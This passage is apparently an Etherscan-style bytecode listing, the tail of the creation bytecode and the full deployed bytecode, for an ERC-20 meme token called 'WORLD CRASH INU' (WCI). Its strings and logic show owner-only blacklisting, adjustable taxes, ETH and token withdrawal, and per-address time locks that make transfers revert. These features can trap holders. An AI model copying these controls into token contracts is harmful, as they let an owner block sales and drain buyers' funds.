8782880161356a565b91505092959194509250565b6000819050919050565b6000613bab613ba6613ba1846134eb565b613b86565b6134eb565b9050919050565b6000613bbd82613b90565b9050919050565b6000613bcf82613bb2565b9050919050565b613bdf81613bc4565b82525050565b6000602082019050613bfa6000830184613bd6565b92915050565b6000608082019050613c1560008301876135f5565b613c2260208301866135f5565b613c2f60408301856135f5565b613c3c60608301846135f5565b95945050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c7b602083613430565b9150613c8682613c45565b602082019050919050565b60006020820190508181036000830152613caa81613c6e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ceb82613549565b9150613cf683613549565b9250828203905081811115613d0e57613d0d613cb1565b5b92915050565b6000613d1f82613549565b9150613d2a83613549565b9250828201905080821115613d4257613d41613cb1565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613d9f57808604811115613d7b57613d7a613cb1565b5b6001851615613d8a5780820291505b8081029050613d9885613d48565b9450613d5f565b94509492505050565b600082613db85760019050613e74565b81613dc65760009050613e74565b8160018114613ddc5760028114613de657613e15565b6001915050613e74565b60ff841115613df857613df7613cb1565b5b8360020a915084821115613e0f57613e0e613cb1565b5b50613e74565b5060208310610133831016604e8410600b8410161715613e4a5782820a905083811115613e4557613e44613cb1565b5b613e74565b613e578484846001613d55565b92509050818404811115613e6e57613e6d613cb1565b5b81810290505b9392505050565b6000613e8682613549565b9150613e918361370b565b9250613ebe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613da8565b905092915050565b6000613ed182613549565b9150613edc83613549565b9250828202613eea81613549565b91508282048414831517613f0157613f00613cb1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f4282613549565b9150613f4d83613549565b925082613f5d57613f5c613f08565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b6000613f9e601083613430565b9150613fa982613f68565b602082019050919050565b60006020820190508181036000830152613fcd81613f91565b9050919050565b6000613fdf8261370b565b9150613fea8361370b565b9250828201905060ff81111561400357614002613cb1565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b600061403f601683613430565b915061404a82614009565b602082019050919050565b6000602082019050818103600083015261406e81614032565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b60006140ab601883613430565b91506140b682614075565b602082019050919050565b600060208201905081810360008301526140da8161409e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061411b82613549565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361414d5761414c613cb1565b5b600182019050919050565b600061416382613549565b915061416e83613549565b925061419b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613da8565b905092915050565b60006040820190506141b860008301856137c7565b6141c560208301846135f5565b9392505050565b6000815190506141db8161364c565b92915050565b6000602082840312156141f7576141f66134e1565b5b6000614205848285016141cc565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061426a602683613430565b91506142758261420e565b604082019050919050565b600060208201905081810360008301526142998161425d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142fc602483613430565b9150614307826142a0565b604082019050919050565b6000602082019050818103600083015261432b816142ef565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061438e602283613430565b915061439982614332565b604082019050919050565b600060208201905081810360008301526143bd81614381565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614420602583613430565b915061442b826143c4565b604082019050919050565b6000602082019050818103600083015261444f81614413565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144b2602383613430565b91506144bd82614456565b604082019050919050565b600060208201905081810360008301526144e1816144a5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614544602983613430565b915061454f826144e8565b604082019050919050565b6000602082019050818103600083015261457381614537565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b60006145d6602983613430565b91506145e18261457a565b604082019050919050565b60006020820190508181036000830152614605816145c9565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b6000614642601883613430565b915061464d8261460c565b602082019050919050565b6000602082019050818103600083015261467181614635565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b60006146d4602683613430565b91506146df82614678565b604082019050919050565b60006020820190508181036000830152614703816146c7565b9050919050565b6000815190506147198161351d565b92915050565b600060208284031215614735576147346134e1565b5b60006147438482850161470a565b91505092915050565b6000819050919050565b600061477161476c6147678461474c565b613b86565b613549565b9050919050565b61478181614756565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147bc8161350b565b82525050565b60006147ce83836147b3565b60208301905092915050565b6000602082019050919050565b60006147f282614787565b6147fc8185614792565b9350614807836147a3565b8060005b8381101561483857815161481f88826147c2565b975061482a836147da565b92505060018101905061480b565b5085935050505092915050565b600060a08201905061485a60008301886135f5565b6148676020830187614778565b818103604083015261487981866147e7565b905061488860608301856137c7565b61489560808301846135f5565b9695505050505050565b600060c0820190506148b460008301896137c7565b6148c160208301886135f5565b6148ce6040830187614778565b6148db6060830186614778565b6148e860808301856137c7565b6148f560a08301846135f5565b979650505050505050565b60008151905061490f81613553565b92915050565b60008060006060848603121561492e5761492d6134e1565b5b600061493c86828701614900565b935050602061494d86828701614900565b925050604061495e86828701614900565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b600061499e601d83613430565b91506149a982614968565b602082019050919050565b600060208201905081810360008301526149cd81614991565b9050919050565b600081905092915050565b50565b60006149ef6000836149d4565b91506149fa826149df565b600082019050919050565b6000614a10826149e2565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000614a76603a83613430565b9150614a8182614a1a565b604082019050919050565b60006020820190508181036000830152614aa581614a69565b905091905056fea2646970667358221220e5fd273ba33c2115e2373d94dfd42da0270c9b5304fd49309d8848617ec3c83d64736f6c63430008110033
Deployed Bytecode
0x60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b146108bc578063f837ae07146108e5578063f887ea401461090e578063f8b45b0514610939578063f9d0ee941461096457610246565b8063cfe9dde0146107db578063d14aae6614610804578063dd62ed3e1461082d578063e27e65881461086a578063e4b994091461089357610246565b8063a9059cbb116100f2578063a9059cbb146106df578063b72a47341461071c578063ca1c81ae14610745578063cc1776d314610782578063cdcfa74a146107b057610246565b80638da5cb5b146105f8578063921cacef1461062357806395d89b411461064c578063a457c2d714610677578063a8aa1b31146106b457610246565b80634f7041a5116101bc57806370d8da531161018057806370d8da5314610527578063715018a614610550578063768dc710146105675780638305e2e3146105a45780638c0b5e22146105cd57610246565b80634f7041a51461044f578063610ec8231461047d578063698f6983146104aa5780636a49ccbb146104c157806370a08231146104ea57610246565b806323b872dd1161020357806323b872dd1461034457806328c61f4114610381578063313ce567146103be57806339509351146103e95780634ba422bc1461042657610246565b806306fdde031461024b578063095ea7b31461027657806318160ddd146102b35780631cdd3be3146102de5780631e17989e1461031b57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610992565b60405161026d91906134b5565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061357f565b6109cf565b6040516102aa91906135da565b60405180910390f35b3480156102bf57600080fd5b506102c86109ed565b6040516102d59190613604565b60405180910390f35b3480156102ea57600080fd5b506103056004803603810190610300919061361f565b6109f7565b60405161031291906135da565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190613678565b610a17565b005b34801561035057600080fd5b5061036b600480360381019061036691906136b8565b610aee565b60405161037891906135da565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061361f565b610ba6565b6040516103b591906135da565b60405180910390f35b3480156103ca57600080fd5b506103d3610bc6565b6040516103e09190613727565b60405180910390f35b3480156103f557600080fd5b50610410600480360381019061040b919061357f565b610bcf565b60405161041d91906135da565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613742565b610c7b565b005b34801561045b57600080fd5b50610464610dc1565b6040516104749493929190613782565b60405180910390f35b34801561048957600080fd5b50610492610e13565b6040516104a1939291906137d6565b60405180910390f35b3480156104b657600080fd5b506104bf610e8c565b005b3480156104cd57600080fd5b506104e860048036038101906104e39190613839565b610f1e565b005b3480156104f657600080fd5b50610511600480360381019061050c919061361f565b6110f0565b60405161051e9190613604565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190613742565b611139565b005b34801561055c57600080fd5b506105656111df565b005b34801561057357600080fd5b5061058e6004803603810190610589919061361f565b611267565b60405161059b91906135da565b60405180910390f35b3480156105b057600080fd5b506105cb60048036038101906105c691906138a0565b611287565b005b3480156105d957600080fd5b506105e2611390565b6040516105ef9190613604565b60405180910390f35b34801561060457600080fd5b5061060d611396565b60405161061a91906138cd565b60405180910390f35b34801561062f57600080fd5b5061064a600480360381019061064591906138e8565b6113bf565b005b34801561065857600080fd5b50610661611503565b60405161066e91906134b5565b60405180910390f35b34801561068357600080fd5b5061069e6004803603810190610699919061357f565b611540565b6040516106ab91906135da565b60405180910390f35b3480156106c057600080fd5b506106c96115ec565b6040516106d691906138cd565b60405180910390f35b3480156106eb57600080fd5b506107066004803603810190610701919061357f565b611612565b60405161071391906135da565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190613678565b611630565b005b34801561075157600080fd5b5061076c6004803603810190610767919061361f565b611707565b6040516107799190613604565b60405180910390f35b34801561078e57600080fd5b5061079761171f565b6040516107a79493929190613782565b60405180910390f35b3480156107bc57600080fd5b506107c5611771565b6040516107d29190613604565b60405180910390f35b3480156107e757600080fd5b5061080260048036038101906107fd9190613a83565b611777565b005b34801561081057600080fd5b5061082b60048036038101906108269190613839565b611888565b005b34801561083957600080fd5b50610854600480360381019061084f9190613adf565b611a5a565b6040516108619190613604565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c919061357f565b611ae1565b005b34801561089f57600080fd5b506108ba60048036038101906108b59190613b1f565b611bb0565b005b3480156108c857600080fd5b506108e360048036038101906108de919061361f565b611cc8565b005b3480156108f157600080fd5b5061090c60048036038101906109079190613678565b611dbf565b005b34801561091a57600080fd5b50610923611e96565b6040516109309190613be5565b60405180910390f35b34801561094557600080fd5b5061094e611ebc565b60405161095b9190613604565b60405180910390f35b34801561097057600080fd5b50610979611ec2565b6040516109899493929190613c00565b60405180910390f35b60606040518060400160405280600f81526020017f574f524c4420435241534820494e550000000000000000000000000000000000815250905090565b60006109e36109dc611ee0565b8484611ee8565b6001905092915050565b6000600c54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b610a1f611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610a3d611396565b73ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90613c91565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610afb8484846120b1565b610b9b84610b07611ee0565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b51611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b969190613ce0565b611ee8565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000610c71610bdc611ee0565b848460046000610bea611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6c9190613d14565b611ee8565b6001905092915050565b610c83611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610ca1611396565b73ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee90613c91565b60405180910390fd5b60006009600a610d079190613e7b565b6103e86005600c54610d199190613ec6565b610d239190613f37565b610d2d9190613f37565b9050808310158015610d3f5750808210155b610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613fb4565b60405180910390fd5b6009600a610d8c9190613e7b565b83610d979190613ec6565b600e819055506009600a610dab9190613e7b565b82610db69190613ec6565b600f81905550505050565b60148060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b6000806000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925092509250909192565b610e94611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610eb2611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90613c91565b60405180910390fd5b600a5442610f169190613d14565b600981905550565b610f26611ee0565b73ffffffffffffffffffffffffffffffffffffffff16610f44611396565b73ffffffffffffffffffffffffffffffffffffffff1614610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190613c91565b60405180910390fd5b600081838587610faa9190613fd4565b610fb49190613fd4565b610fbe9190613fd4565b60ff1690506014811115611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601460008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611141611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661115f611396565b73ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90613c91565b60405180910390fd5b6009600a6111c39190613e7b565b826111ce9190613ec6565b600d81905550806019819055505050565b6111e7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611205611396565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290613c91565b60405180910390fd5b6112656000612891565b565b60056020528060005260406000206000915054906101000a900460ff1681565b61128f611ee0565b73ffffffffffffffffffffffffffffffffffffffff166112ad611396565b73ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613c91565b60405180910390fd5b80471015611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d906140c1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561138c573d6000803e3d6000fd5b5050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6113c7611ee0565b73ffffffffffffffffffffffffffffffffffffffff166113e5611396565b73ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290613c91565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60606040518060400160405280600381526020017f5743490000000000000000000000000000000000000000000000000000000000815250905090565b60006115e261154d611ee0565b84846004600061155b611ee0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115dd9190613ce0565b611ee8565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061162661161f611ee0565b84846120b1565b6001905092915050565b611638611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611656611396565b73ffffffffffffffffffffffffffffffffffffffff16146116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613c91565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60086020528060005260406000206000915090505481565b60158060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16905084565b60095481565b61177f611ee0565b73ffffffffffffffffffffffffffffffffffffffff1661179d611396565b73ffffffffffffffffffffffffffffffffffffffff16146117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea90613c91565b60405180910390fd5b60005b8251811015611883578160076000858481518110611817576118166140e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061187b90614110565b9150506117f6565b505050565b611890611ee0565b73ffffffffffffffffffffffffffffffffffffffff166118ae611396565b73ffffffffffffffffffffffffffffffffffffffff1614611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb90613c91565b60405180910390fd5b6000818385876119149190613fd4565b61191e9190613fd4565b6119289190613fd4565b60ff169050601e811115611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890614055565b60405180910390fd5b60405180608001604052808660ff1681526020018560ff1681526020018460ff1681526020018360ff16815250601560008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a15050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ae9611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611b07611396565b73ffffffffffffffffffffffffffffffffffffffff1614611b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5490613c91565b60405180910390fd5b8042611b699190613d14565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b611bb8611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611bd6611396565b73ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390613c91565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483600a611c569190614158565b85611c619190613ec6565b6040518363ffffffff1660e01b8152600401611c7e9291906141a3565b6020604051808303816000875af1158015611c9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc191906141e1565b5050505050565b611cd0611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611cee611396565b73ffffffffffffffffffffffffffffffffffffffff1614611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90613c91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90614280565b60405180910390fd5b611dbc81612891565b50565b611dc7611ee0565b73ffffffffffffffffffffffffffffffffffffffff16611de5611396565b73ffffffffffffffffffffffffffffffffffffffff1614611e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3290613c91565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154908060020154908060030154905084565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90614312565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd906143a4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120a49190613604565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211790614436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361218f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612186906144c8565b60405180910390fd5b600081116121d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c99061455a565b60405180910390fd5b600e548111158061222c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61226b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612262906145ec565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561230f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61234e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234590614658565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123f857600f54816123ac846110f0565b6123b69190613d14565b11156123f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ee906146ea565b60405180910390fd5b5b600d54612404306110f0565b101580156124215750601954601a5461241d9190613d14565b4210155b801561243a5750601860149054906101000a900460ff16155b80156124945750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124d357506124a3611396565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561251257506124e2611396565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125205761251f612955565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461256f9190613ce0565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561261f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127d05761267f8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612c49565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126e057504260095410155b1561273b57600b54426126f39190613d14565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cf565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146127ce57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442106127cd57600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461281f9190613d14565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128839190613604565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601860146101000a81548160ff021916908315150217905550600060106002015460106001015460106000015461298e9190613d14565b6129989190613d14565b90506000811115612b8f5760006129ae82612f83565b9050600082601060000154836129c49190613ec6565b6129ce9190613f37565b9050600083601060010154846129e49190613ec6565b6129ee9190613f37565b905060008460106002015485612a049190613ec6565b612a0e9190613f37565b90506000831115612a8e57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612a81573d6000803e3d6000fd5b5060006010600001819055505b6000821115612b0c57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612aff573d6000803e3d6000fd5b5060006010600101819055505b6000811115612b8a57601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b7d573d6000803e3d6000fd5b5060006010600201819055505b505050505b60006010600301541115612bf85760006002601060030154612bb19190613f37565b9050600081601060030154612bc69190613ce0565b90506000612bd383612f83565b90506000811115612be957612be882826131dd565b5b60006010600301819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a142601a81905550506000601860146101000a81548160ff021916908315150217905550565b60008060146040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090508215612d595760156040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff1687612d709190613ec6565b612d7a9190613f37565b905060006064836020015160ff1688612d939190613ec6565b612d9d9190613f37565b905060006064846040015160ff1689612db69190613ec6565b612dc09190613f37565b905060006064856060015160ff168a612dd99190613ec6565b612de39190613f37565b90506000841115612e0b578360106000016000828254612e039190613d14565b925050819055505b6000831115612e31578260106001016000828254612e299190613d14565b925050819055505b6000821115612e57578160106002016000828254612e4f9190613d14565b925050819055505b6000811115612e7d578060106003016000828254612e759190613d14565b925050819055505b600081838587612e8d9190613d14565b612e979190613d14565b612ea19190613d14565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ef29190613d14565b925050819055506000811115612f68573073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f5f9190613604565b60405180910390a35b808a612f749190613ce0565b96505050505050509392505050565b6000804790506000600267ffffffffffffffff811115612fa657612fa5613940565b5b604051908082528060200260200182016040528015612fd45781602001602082028036833780820191505090505b5090503081600081518110612fec57612feb6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b7919061471f565b816001815181106130cb576130ca6140e1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061313230600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401613196959493929190614845565b600060405180830381600087803b1580156131b057600080fd5b505af11580156131c4573d6000803e3d6000fd5b5050505081476131d49190613ce0565b92505050919050565b